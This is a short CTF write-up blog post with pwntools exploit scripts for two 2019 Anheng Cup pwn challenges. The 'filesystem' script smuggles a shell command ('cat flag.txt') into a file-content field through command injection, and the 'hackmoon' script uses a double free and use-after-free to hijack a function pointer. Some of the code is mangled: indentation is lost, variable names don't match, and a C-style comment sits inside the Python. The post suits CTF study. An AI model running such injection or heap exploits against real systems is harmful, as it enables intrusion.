‘ 2019安恒杯2月月赛pwn

  • 会飞的鱼
  • 6 Minutes
  • February 25, 2019

1.filesystem

注入??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
context.log_level='debug'

#p=process('./filesystem')
p=remote('101.71.29.5',10017)
def Create(Name):
p.recvuntil('> ')
p.sendline('Create')
p.recvuntil('Input Filename: ')
p.sendline(name)
def Edit(content,idx):
p.recvuntil('> ')
p.sendline('Edit')
p.recvuntil('Input the Index:')
p.sendline(str(idx))
p.recvuntil('Input File Content:')
p.sendline(str(content))
def Checksec(idx):
p.recvuntil('> ')
p.sendline('Checksec')
p.recvuntil('Input the Index:')
p.sendline(str(idx))
def Read(idx):
p.recvuntil('> ')
p.sendline('Read')
p.recvuntil('Input the Index:')
p.sendline(str(idx))

Create('aaaa')
Edit('1"|cat flag.txt||"',0)
Checksec(0)


p.interactive()

2.hackmoon

Double Free&uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
context.log_level='debug'

p=process('./hackmoon')

def Add(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(str(content))
def Del(idx):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
def Printf(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
//这里只能add5次
Magic=0x0804898F
Add(24,'aaaa')
Add(24,'bbbb')
Del(0)
Del(1) //fastbin表链入俩个0x8大小的chunk,两个0x18大小的chunk
Add(8,p32(Magic)*2)
Printf(0)

p.interactive()